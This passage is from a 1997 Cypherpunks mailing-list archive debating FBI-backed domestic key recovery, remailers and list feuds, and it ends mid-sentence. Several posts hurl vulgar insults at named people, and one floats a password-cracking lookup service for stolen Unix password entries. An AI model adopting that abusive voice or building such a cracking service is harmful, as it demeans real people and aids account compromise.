> Privacy advocates and much of
> the high-tech industry oppose domestic key recovery on grounds that it
> would violate civil rights 

  Which is their way of saying that compromise and selling-out is
going to come at a premium price on this issue.

>and be impractical and expensive to build and manage.

  And will thus provide outrageous profits for those who are chosen
to pluck _this_ golden goose. (CryptoStar Wars?)

> McCain said he met with Microsoft representatives recently to discuss
> a new technology being developed by the software giant that could be
> less intrusive and problematic than key recovery.

  Less "blatantly" intrusive? Less "obviously" intrusive?
  or
  More "secretly" intrusive? More "sneakily" intrusive?

  Less "fascistly" intrusive? Less "unconstitutionally" intrusive?
  or
  More "justifiably" intrusive? More "corporately" intrusive?

>The senator also said
> he plans to meet with Netscape officials next week to discuss yet
> another alternative.

  Translate that to say, "To work one industry giant against the
other." or "To engender in each of them the fear that their chief
competitor will be chosen to profit outageously for helping to 
violate the civil rights of their customers.
 
> Just two days ago, at a Senate Judiciary Committee hearing on the bill,
> FBI director Louis Freeh testified on the need for mandatory domestic
> key recovery, and some senators on the committee, notably the
> chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
> domestic key recovery is needed to allow law enforcement to wiretap
> suspect digital communications and transactions.

  Translate that to say, "to allow law enforcement to wiretap _all_
digital communications and transactions in order to decide which
ones they wish to apply for a _legal_ wiretap for."

  The reason it is called "Capitol Hill" is because there is a 
"mountain of capital" waiting for anyone who wants to play ball
with the criminals who inhabit that dark lair.
  Tim May pointed out the "fever" overtaking the legislators to
be the first to mine the "hard on drug dealing pedophiles" gold
that the LEA's have promised them on this issue.
  McCain is now making the rounds of the corporate players to
offer them a chance to help draw the map that will lead to the
thirty million pieces of silver the Romans in D.C. are offering
anyone who will betray the citizens.

  "And as BillyG was beneath in the Whitehouse, there cometh one
of the maids of Louis Freeh:
  "And when she saw BillyG counting his money, she looked upon him,
and said, 'And thou was also wast with Citizen of the Constitution.'
  "But he denied, saying, I know not, neither understand what thou
sayest. And he went out of the Lincoln bedroom onto the Whithouse
lawn to count his money; and the cock(sucker Louis Freeh) crew.
  "And a maid saw him again, and began to say to them that stood
by with large guns and open warrants, 'This is _one_ of them.'
  "And he denied it again. And a little after, they that stood by
said again to BillyG, 'Surely thou art _one_ of them: for thou
art a FreeMarketer, and thy speech agreeth thereto.
  "But he began to curse and swear like a CypherPunk, saying,
'I know not this Constitution of which you speak.'
  "And the second time the cock(sucker Louis Freeh) crew.
  "And BillyG called to mind the word that the Citizen said unto
him, 'Before the cock(sucker Louis Freeh) crow twice, thou shalt deny
your customers' civil rights thrice.' And when he thought thereon,
he wept."

Or,
  Will Netscape's Moses Weinstein come down from the "mountain of
capital" with the stone tablets upon which are engraved the
command-line-ments which will be used to access the records of
those who own the golden calves and the goats?

{Old Testament Joke: "What is the difference between a Gentile
and a sacrificial lamb of God?"  Answer: "Tablet escrow."}

{New Testament Joke: "What issue should have been addressed by
an "amendment" to the Torah that was essential to protect 
"Religious Security" and prevent the overthrow of the Pharisees
and Saudecees?"   Answer: "Body recovery."}

Jesus F. Christ of Nazareth (the band!)
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
"I am the Way(-out) and the Truth(Monger) and the Light (that
doobie and pass it over here)."
"There is something wrong when I'm a sinner under an increasing
number of commandments."
"Spirituality interprets commandments as damage and rises
above them."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 14:53:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <199707120646.IAA02109@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 11, 1997 at 03:29:37PM -0700, Tim May wrote:

<snip>
> What I do know is that the Deal bars lawsuits
> from those not even part of the class action lawsuits: it effectively gives
> a grant of perpetual immunity for smoking-related damages to the tobacco
> companies.

and

> The Deal would halt future lawsuits from smokers, even
> those who have not yet engaged in any class action suit (even those who
> have not yet started smoking, even those not yet born, as experts
> understand the language of the Deal).

>From http://www.cnn.com/US/9706/20/tobacco.pm.2/index.html

    "Smokers who are ill could no longer sue tobacco companies seeking
    punitive damages for past industry misconduct, but they COULD SUE
    TO RECOVER ACTUAL DAMAGES SUCH AS MEDICAL BILLS.  SMOKERS STILL
    COULD SUE FOR AND COLLECT BOTH ACTUAL AND PUNITIVE DAMAGES FOR ANY
    FUTURE INDUSTRY WRONGDOING."

> >Relax.  No need to be indignant.
> 
> I'll be indignant if I wish.

Of course.

> Your intent clearly is to troll this group with government-friendly
> shilling.

I suppose it could be just as accurately said that you troll the group
with government-unfriendly shilling.  Some have an unfortunate habit
of rising to the bait.

> And like Sternlight, you mask your
> ignorance on many issues with pomposity. 

Possibly.  Obviously not doing a very good job.  Clearly, my ignorance
is boundless, and what I know is very tiny indeed.  However, I observe
that you are very familiar with pomposity, and should therefore be a
good judge.  

> Like Detweiler and Vulis, your
> intent is to disrupt the group.

I don't know about Detweiler.  In my short tenure on this list Vulis
has given no evidence that his intent is to "disrupt the group" -- he 
just seems to express his sometimes extreme opinions.  Like you.

In any case, it is not true that my intent is to "disrupt the group",
and it is hard to see how my few, offhand posts on the topic of the
tobacco agreement could be seen as anything remotely approaching a
deliberate campaign.  I think you are attributing me far more potency
than is warranted.

KC





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stone Monkey <sm@nym.alias.net>
Date: Sat, 12 Jul 1997 17:00:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FYI: NSA Requests Source Code From Elvis+
Message-ID: <19970712085043.11461.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



In article <9707071618.AA63188@public.uni-hamburg.de> Ulf Mueller writes:
>> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
>> the Russian networking company in which Sun has a 10 percent stake, to
>> turn over the source code of its SunScreen SKIP E+.
>
>Why should the US government get access to the source code of foreign
>product being imported to the US?

To me the announcement implied that the NSA wanted to compare Sun's
and Elvis+'s implementations, to verify that they are actually different.
To check that Sun didn't simply smuggle the code out and launder it 
through Elvis+. They're not looking at imports (why would Elvis+'s
code be imported? It's already available domestically from Sun), they're
looking at Sun's well-publicised end-run around the crypto chilling
effect, to see if Sun perhaps cut any corners.

But it's more fun to rant about the paranoid thrashings of a government
bogeyman than it is to attempt to understand the actions of the NSA,
which is not staffed by stupid people.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sun, 13 Jul 1997 04:09:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jim Bell reference
Message-ID: <199707120851.JAA01075@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




mctaylor@mta.ca commented on the Jim Bell case and Dorothy Denning.
Vin McLellan <vin@shore.net> forwarded the 'Freeh Speech'

Statement of Louis J. Freeh, Director, FBI....

>The looming spectre of the widespread use of robust, virtually uncrackable
>encryption is one of the most difficult problems
>confronting law enforcement as the next century approaches. At stake are
>some of our most valuable and reliable investigative
>techniques

Baloney.  The figures you give later indicate 1000 or 2000 investigations
a year meeting computer encryption.  Even if they were all unbreakable
that's 2000/year in a population of how many ?  Dents the clear-up rate
by how much ?   Makes me think the issue is the preservation of many
thousands of _unathorised_ taps.  What else could explain that viewpoint?


>There have been
>numerous cases where law enforcement, through the
>use of electronic surveillance, has not only solved and successfully
>prosecuted serious crimes and dangerous criminals, but has
>also been able to prevent serious and life-threatening criminal acts. For
>example, terrorists in New York were plotting to bomb
>the United Nations Building, the Lincoln and Holland Tunnels, and 26
>Federal Plaza as well as conduct assassinations of
>political figures. Court-authorized electronic surveillance enabled the FBI
>to disrupt the plot as explosives were being mixed.

Over here video cameras in public places seem to hit the jackpot
quite often in this area.

>another example, electronic surveillance was used to
>prevent and then convict two men who intended to kidnap, molest and then
>kill a male child.

Witnesses are better, they can catch the lone molester who has no 
communications.  We had a well-publicised case a couple of years ago
where a man was caught with a kidnapped girl in his van shortly after
a gardener happened to see the girl's feet beneath the van at the instant
she was lifted off the ground.

Incidentally, I'm against terrorism, child molestation etc etc. 
I'm confident most other cypherpunks are too, so no nonsense please
about free crypto supporters being backers of [crime of the month].

>       Convicted spy Aldrich Ames was told by the Russian intelligence
>       service to encrypt computer file information that was
>       to be passed to them.

But he was convicted anyway ?  So crypto was not a problem to LE ?

>       An international terrorist was plotting to blow up 11 U.S.-owned
>       commercial airliners in the far east. His laptop
>       computer which was seized during his arrest in Manilla contained
>       encrypted files concerning this terrorist plot.

Also not a problem if the files were found to concern the plot.

>       A subject in a child pornography case used encryption in
>       transmitting obscene and pornographic images of children
>       over the Internet.

As above.

>       A major international drug trafficking subject recently used a
>       telephone encryption device to frustrate court-approved
>       electronic surveillance.

If life were that easy you'd have your budget cut, and deserve it.


>Over the last three (3) years, the FBI has also seen the number of computer
>related cases utilizing encryption and/or password
>protection increase from 20 or two (2) percent of the cases involving
>electronically stored information to 140 or seven (7)
>percent. These included the use of 56 bit data encryption standard (DES)
>and 128 bit "pretty good privacy" (PGP) encryption.

>Just as when this committee so boldly addressed digital telephony, the
>government and the nation are again at an historic
>crossroad on this issue.

...are again at a sharp disagreement ?




Now over to M. C. Taylor

>The one major difference in Dr. Denning's point of view is that she has a
>large degree of trust in LEA. Period. That is the difference
>between Dr. Denning and the average cypherpunk. 

Here in the UK you just have to say 'West Midlands Serious Crime Squad'
(now disbanded) to blow away the idea that the police evidence is always
genuine.  Even today a senior policeman is reported in newspapers as
saying his force employs dishonest people who would not be employed by a
supermarket, and that he regrets needing such a high standard of evidence
to fire them.  When you think how easily alleged communications can be
faked in contrast to physical evidence (such as a bloody glove, say)
I'm uncomfortable that electronic evidence is even admissible.

>The evidence is weak, in an article from May of this year, Denning quotes
>500 cases world-wide, but neglects to follow-up with which of these cases
>were solved regardless; due to other evidence or because the suspect was
>using crummy crypto. 
>
>Denning doesn't seem too concern with lawless government access, access
>beyond the scope, government tampering or forgery of information which are
>possible with poor key escrow technologies.

Very good points.


--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 13 Jul 1997 09:20:32 +0800
To: Alan <alano@teleport.com>
Subject: Re: Microsoft and Netscape to Provide McCain with Options?
In-Reply-To: <Pine.GSO.3.96.970711182355.24515C-100000@linda.teleport.com>
Message-ID: <33C82C1A.B3E5FD14@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan wrote:
> 
> On Fri, 11 Jul 1997, Tim May wrote:
> 
>> At 5:26 PM -0700 7/11/97, Alan Olsen wrote:
>
>>> McCain said he met with Microsoft representatives recently to
>>> discuss a new technology being developed by the software giant that
>>> could be less intrusive and problematic than key recovery. The
>>> senator also said he plans to meet with Netscape officials next week
>>> to discuss yet another alternative.
>>
>> This is something we should watch _very_ closely!
> 
> I agree.  The article seemed to imply that both Microsoft and Netscape
> were falling all over each other trying to come up with gak-like
> alternatives to key recovery.  I wonder what Tom Weinstien can tell us
> about that...  (He has been a bit quiet lately...  Too quiet.)

When I'm quiet, it's probably because I'm busy.  It's certainly not
because I was spirited off to Fort Meade by the black helicopters for
brain washing.

Let's look at this another way.  Given the opportunity to discuss your
views with a senator, whouldn't you take it?  Even if there's very
little chance of changing his mind?

We aren't going to suddenly do an about face and start saying that GAK
is good.  Even if anyone here believed that, there's no way that we'd be
able to sell it to our overseas customers.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Jul 1997 08:50:26 +0800
To: cypherpunks@toad.com
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707120646.IAA02109@basement.replay.com>
Message-ID: <e33q0D14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
> On Fri, Jul 11, 1997 at 03:29:37PM -0700, Tim May wrote:
>
> > Your intent clearly is to troll this group with government-friendly
> > shilling.
>
> I suppose it could be just as accurately said that you troll the group
> with government-unfriendly shilling.  Some have an unfortunate habit
> of rising to the bait.

I don't respond to Kent, and most of the time delete his articles after
reading only the first few lines.  I hope that one day he will say
something more profound that his usual trolls.

> > And like Sternlight, you mask your
> > ignorance on many issues with pomposity.
>
> Possibly.  Obviously not doing a very good job.  Clearly, my ignorance
> is boundless, and what I know is very tiny indeed.  However, I observe
> that you are very familiar with pomposity, and should therefore be a
> good judge.

Back when Sternlight joined this mailing list briefly and started trolling
people with his stupid and ignorant rants, I repeatedly asked everyone not
to respond to his trolls on-list.  When Sternlight was ignored, he left.
He might have had something interesting to say (he knows a lot more about
crypto than Timmy - still not much) but he chose not to.

> > Like Detweiler and Vulis, your
> > intent is to disrupt the group.
>
> I don't know about Detweiler.  In my short tenure on this list Vulis
> has given no evidence that his intent is to "disrupt the group" -- he
> just seems to express his sometimes extreme opinions.  Like you.

Timmy is just lying. I'm not disrputing this mailing list - quite the
opposite, I played a signficant role in saving it from censorship.

Detweiller knows much more than Timmy about cryptography and is a
victim of his censorship.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sun, 13 Jul 1997 09:50:13 +0800
To: cypherpunks@toad.com
Subject: Re: Microsoft and Netscape to Provide McCain with Options?
Message-ID: <3.0.32.19970712183331.006a9898@best.com>
MIME-Version: 1.0
Content-Type: text/plain




Mostly I'd like to know what the proposals by these loft captains
of industry ARE.

At 06:15 PM 7/12/97 -0700, Tom Weinstein wrote:
>
>Alan wrote:
>> 
>> On Fri, 11 Jul 1997, Tim May wrote:
>> 
>>> At 5:26 PM -0700 7/11/97, Alan Olsen wrote:
>>
>>>> McCain said he met with Microsoft representatives recently to
>>>> discuss a new technology being developed by the software giant that
>>>> could be less intrusive and problematic than key recovery. The
>>>> senator also said he plans to meet with Netscape officials next week
>>>> to discuss yet another alternative.
>>>
>>> This is something we should watch _very_ closely!
>> 
>> I agree.  The article seemed to imply that both Microsoft and Netscape
>> were falling all over each other trying to come up with gak-like
>> alternatives to key recovery.  I wonder what Tom Weinstien can tell us
>> about that...  (He has been a bit quiet lately...  Too quiet.)
>
>When I'm quiet, it's probably because I'm busy.  It's certainly not
>because I was spirited off to Fort Meade by the black helicopters for
>brain washing.
>
>Let's look at this another way.  Given the opportunity to discuss your
>views with a senator, whouldn't you take it?  Even if there's very
>little chance of changing his mind?
>
>We aren't going to suddenly do an about face and start saying that GAK
>is good.  Even if anyone here believed that, there's no way that we'd be
>able to sell it to our overseas customers.
>
>-- 
>What is appropriate for the master is not appropriate| Tom Weinstein
>for the novice.  You must understand Tao before      | tomw@netscape.com
>transcending structure.  -- The Tao of Programming   |
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Sun, 13 Jul 1997 07:52:36 +0800
To: cypherpunks@cyberpass.net
Subject: remailer@rcmp-grc.gc.ca ??
Message-ID: <199707122345.SAA16117@tick.dsddhc.com>
MIME-Version: 1.0
Content-Type: text/plain




A bigger quote from the RCMP's Technological Crime Bulletin, located at:

http://www.rcmp-grc.gc.ca/html/tcb3-3b.htm

[begin quote]

There are many anonymous re-mailers in operation across the Internet. To
use one of these services, a person must send an e-mail message to the
re-mailer, who will, in turn, send a return message which will include a user
ID for this anonymous service. You can now send a message to any
e-mail address via this server and receive responses without divulging your
true identity. Particularly privacy-conscious individuals have been known
to loop their e-mail through two or more anonymous re-mailers to hide
their tracks completely. Couple this with data encryption, and you have an
exceptionally secure e-mail system.

However, re-mailers may not be as secure as once thought. For example,
the person who runs the re-mailer has the capability to discover who you
are and to read and record all messages sent. The Internet re-mailer could
be a government sting operation or a criminal enterprise designed to
entrap people. Hackers can break into the re-mailer and read all of the
e-mail traffic.

Law enforcement must be aware of the existence of anonymous
re-mailers, as they provide a cheap, efficient, and secret way of
communication for criminal groups. Although there are few documented
cases of this form of communication among criminal organizations, there is
no doubt that the potential is present. But the news to law enforcement
may not be all bad. It may be possible for law enforcement to use
anonymous re-mailers as part of an ongoing operational plan. For
example, investigators could also loop their e-mail messages through
re-mailers to disguise their identity. This could have excellent application in all types of undercover investigations.

[End quote]

This quote, while not the entire page, shows that LEOs are not quite as clueless as they have been in the past.  In particular, the author seems to have a functional grasp of remailers, even though he describes a penet-style remailer.  He recognises the inherent dangers of trusting a remailer, and even the value of setting up a remailer for use in a sting operation!

My favourite part is the last quoted paragraph, where he suggests that what's good for the goose is also good for the gander.

Better check Raph's list again for the existance of remailer@rcmp-grc.gc.ca

NotAMongerAtAll





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 13 Jul 1997 08:09:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: remailer@rcmp-grc.gc.ca ?? (fwd)
Message-ID: <199707122352.SAA13268@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 12 Jul 1997 18:45:56 -0500
> From: John Deters <jad@dsddhc.com>
> Subject: remailer@rcmp-grc.gc.ca ??

> There are many anonymous re-mailers in operation across the Internet.

That's being just a tad charitable I think.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Sun, 13 Jul 1997 06:11:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Routing around damage
In-Reply-To: <v03102802afecd9bc6add@[10.0.2.15]>
Message-ID: <Pine.LNX.3.96.970712185240.5646C-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Steve Schear wrote:

> >On Fri, 11 Jul 1997, Anonymous wrote:
> >
> >> Remember "the internet interprets censorship as damage and routes around
> >> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
> >> routes around it.
> >
> >It does.. It's just that when you lose a *large* access point, the impact
> >is significant.  (I think that's what happened here...)
> 
> Seems to me that having only a few, heavily trafficed, NAPs is a
> topological weakness in the Net which needs to be delt with soon.

What else do you expect from mass-market commericalization of Network
Providers? "The cheapest route."

AOL's growth spurt and pains should of been a foreshadow for anyone
in the business.

-M, who's network access is not redudent nor is my NAP balanced-redudent
    (the backup route is 128K for NB last time I asked)

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Jul 1997 08:50:22 +0800
To: cypherpunks@toad.com
Subject: Fuck the Usenet Cabal
In-Reply-To: <Pine.LNX.3.96.970712185240.5646C-100000@fractal.mta.ca>
Message-ID: <836q0D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> Remember "the internet interprets censorship as damage and routes around it"?

No, the Internet interprets cocksucker John Gilmore as censorship, shits on
him, and routes around him. :-)

ObCrypto: I was offered a 76GB changer for $350.  I thought of the following
demo application: a user e-mails a piece of a Unix passwd file (password+salt)
to a server, which looks up a password that works.  Problem is, 76GB doesn't
seem sufficient for the lookup table. :-( (Assume infinite time available
on a fast box.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nim@nim.com
Date: Sun, 13 Jul 1997 12:24:30 +0800
To: cypherpunks@Algebra.COM
Subject: Advertise to 100 MILLION People for FREE!!
Message-ID: <199707130417.VAA28942@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



Would you be interested in sending out an advertisement
for your business or web page to 100 MILLION PEOPLE on
the Internet for FREE?

TO FIND OUT HOW: Respond to this email! (nim@nim.com)
You will receive Information on how to do this for FREE!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nim@nim.com
Date: Sun, 13 Jul 1997 12:34:19 +0800
To: cypherpunks@toad.com
Subject: Advertise to 100 MILLION People for FREE!!
Message-ID: <199707130417.VAA29055@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,


Would you be interested in sending out an advertisement
for your business or web page to 100 MILLION PEOPLE on
the Internet for FREE?

TO FIND OUT HOW: Respond to this email! (nim@nim.com)
You will receive Information on how to do this for FREE!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Jul 1997 10:48:08 +0800
To: cypherpunks@toad.com
Subject: From Hatch's testimony
Message-ID: <v03110702afededa46363@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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Date: Sat, 12 Jul 1997 16:50:55 -0400
To: espam@intertrader.com, e$pam <e$pam@atanda.com>
From: Robert Hettinga <rah@shipwright.com>
Subject: From Hatch's testimony
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From: Robert Hettinga <rah@shipwright.com>
Reply-To: rah@shipwright.com
Organization: The Shipwright Development Corporation
MIME-Version: 1.0
To: rah@shipwright.com
Subject: From Hatch's testimony

http://washingtonpost.com:80/wp-srv/WPlate/1997-07/10/015L-071097-idx.htm l

 Content-Type: text/plain; charset=us-ascii; name="015L-071097-idx.htm l"
 Content-Disposition: inline; filename="015L-071097-idx.html"
 X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com i d
 QAA04134

                                 [Image]
 -------------------------------------------------------------------------
 [Image]

 [Image]

 Talk Central Section:
 discuss hot topics of
 the day online.

 All Editorials and
 Op-Ed columns from
 this morning's
 Washington Post.

 All editorials and
 commentary from
 Sunday's Washington
 Post Outlook section.
                          [Image]
                          ------------------------------------------------

                          For the Record

                          Thursday, July 10, 1997; Page A18
                          The Washington Post

                          From testimony by Sen. Orrin Hatch (R-Utah)
                          yesterday before the Senate Judiciary
                          Committee:

                          Although encryption has historically been a
                          technology reserved for national security and
                          military applications, the explosive growth of
                          both electronic communications and stored data
                          has enhanced the need to develop means to
                          protect business, governmental and individual
                          communications and information from improper
                          access and use. A direct deterrent to economic
                          espionage, consumer or commercial theft or
                          fraud, or improper eavesdropping of private
                          information or communications is the encryption
                          of such information. By employing mathematical
                          algorithms [that] convert electronic
                          information into meaningless text, encryption
                          prevents anyone other than a keyholder -- who
                          has the algorithm necessary to unscramble or
                          decrypt this information -- from gaining access
                          to the information. The importance of
                          meaningful legislation in this area cannot be
                          understated. Consider for instance that
                          consumer confidence in a secure network is
                          deemed essential to the development of such
                          things as on-line commerce, which is projected
                          to grow from last year's $500 million to as
                          much as $12 billion by the year 2000.

                          The difficulty in evaluating a meaningful
                          encryption policy is that, while its employment
                          does protect the privacy of legitimate business
                          and personal interests, it can also be used . .
                          . by criminals to hide their communications and
                          operations. . . .

                          Today, Americans . . . enjoy the ability to
                          use, and industry is free to market, commercial
                          encryption of any strength domestically without
                          restriction. The focus of congressional debate
                          is the export and dissemination of U.S.
                          encryption products abroad and the development
                          of key recovery features that allow law
                          enforcement access to encrypted communications
                          under appropriate circumstances.

                            (c) Copyright 1997 The Washington Post Company

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sun, 13 Jul 1997 14:55:58 +0800
To: cypherpunks@toad.com
Subject: Solution to McKain's worries
Message-ID: <3.0.32.19970712234109.006d0fac@best.com>
MIME-Version: 1.0
Content-Type: text/plain




The alternative solution might go something like this (also known as the
Mother of Clipper):

1. Outlaw use of any crypto not authorized and provided by an Official
Source, which is to be provided in the form of hardware on the
CPU/Motherboard (or equivalent, depending on the computing/communications
device)

2. When you wish to send an encrypted communication or store encrypted
data, the Official Crypto Device from the Official Source first must obtain
a Secrecy Credential from a Central Repository, to which you have applied
for some strength crypto.  The Credential gives you certain secrecy
privileges ... as long as you're being a good citizen.  The Credential
enables the crypto on your official device: the device will not function
without communicating with the Central Repository and obtaining today's
Credential.

3. When LEA wants to tap you, it sends a control message to the Central
Repository which modifies your Secrecy Credential, dumbing you down to,
say, 40bits. They could even provide the entire session key (or other
secret as required by protocols.)  As long as this state is in effect, your
"encrypted" communications and storage are readable by the LEA.

Now: consider the profits to be made by the Central Repository, which is
responsible for maintaining your Credential.  Each Credential use could be
charged a transaction fee, as well as the annual licensing.  The crypto
device provider has a locked-in market for its silicon, as it must go on
all the motherboards and into the CPU's.  The big-system manufacturers
responsible for the servers and communications required to manage the
communications between the crypto and repository make out real well too.

It sounds like a perfect fit for Microsoft, Intel, together with HP-s ICF!! 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 13 Jul 1997 18:36:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New Add-On Law / Re: Freeh's Testimony (FBI Seeks Domestic GAK)
In-Reply-To: <199707111954.VAA02222@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970713003511.347B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   Am I totally out of my mind, or has life become tremendously
> fucking scary, and nobody but me has noticed?

This list is quite simply the only place I know of where single sentences 
as perceptive and straight to the point as the quote above are made on a 
regular basis. I am sure many potential revolutionaries have ended up in 
asylums over the years as a result of the consequences of the above 
effect, if the "terrorist" retains their sanity they are put in an asylum 
as a dangerous lunatic, more normally the total stupidity and blindness 
of those around them drive them to genuine insanity. This same effect can 
likely be used to explain the high rate of insanity in the late years of 
many of the pasts great philosophers.

>   Sometimes I feel like the guy on the plane in the "Twilight Zone"
> movie, who is the only one who can see the monster on the plane's
> wing that is endangering everyone's life. 

Small question: I seem to remember this film, is it the small green 
monster which keeps dancing and fucking with the planes engines?


> And if you shoot at the
> monster nobody else can see, then they strap you down and take you
> to the rubber room. (Obvious analogy to McVeigh and Death Row 
> purely unintentional.)

Of course, and anyone who saw such an analogy without it being pointed 
out would probably be a dangerous terrorist anyway.

>   Yes, and one day, even our private thoughts will be considered to
> automatically make us guilty criminals unless we allow LEA's access
> to them. (The "lie detector" is a case in point, and it has in the
> past come dangerously close to being afforded the same status as
> the breathalyzer, even though it represents "voodoo" as much as it
> does "science.")

How much confidence do US courts have in polygraph tests? I believe UK 
systems qualify the tests as evidence to be considered as ancillary to 
the other evidence rather than relied on as a major part of a case.
Not really relevant though, polygraph tests are hopelessly innacurate, 
any good poker player or general good liar could beat one, or indeed 
someone who practiced one of the many forms of meditation in which ones 
blood pressure, respiration and pulse may be consciously controlled.

> TruthMonger

BTW, one of the many Mongers of several sorts uses toad.com for all 
messages, I`m sure it is now just a forwarder but just to point it out, 
it may still be censored.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 07:41:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707122335.BAA02356@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



An anonymous message dated: Sat, 12 Jul 1997 08:46:32 +0200 (MET DST), and signed with the initials KC, wrote:

>In any case, it is not true that my intent is to "disrupt the group",
>and it is hard to see how my few, offhand posts on the topic of the
>tobacco agreement could be seen as anything remotely approaching a
>deliberate campaign.  I think you are attributing me far more potency
>than is warranted.

I try not to contemplate your impotence too often, Kent.

>KC

Damn.  Kent's figured out anonymous remailers.  I read this message because it came from anonymous--Kent's in my killfile.

Know what this means?

Anonymous remailers have more reputation capital than Kent.

ReputationMunger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 14:45:58 +0800
To: cypherpunks@toad.com
Subject: Re: From Hatch's testimony
Message-ID: <199707130629.IAA20912@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
>                      Thursday, July 10, 1997; Page A18
>                      The Washington Post
>                      From testimony by Sen. Orrin Hatch (R-Utah)
>                      yesterday before the Senate Judiciary
>                      Committee:

>                      Today, Americans . . . enjoy the ability to
>                      use, and industry is free to market, commercial
>                      encryption of any strength domestically without
>                      restriction. 

  Try to think of laws as outlining what we are no longer free to do.
Then go to a courthouse library and look at the mountains of books 
which contain a list of the freedoms that have been taken away from us.

  Who the fuck do the people who pass these laws think they are?
  I wish I had a nickle for every local city councilman who got a
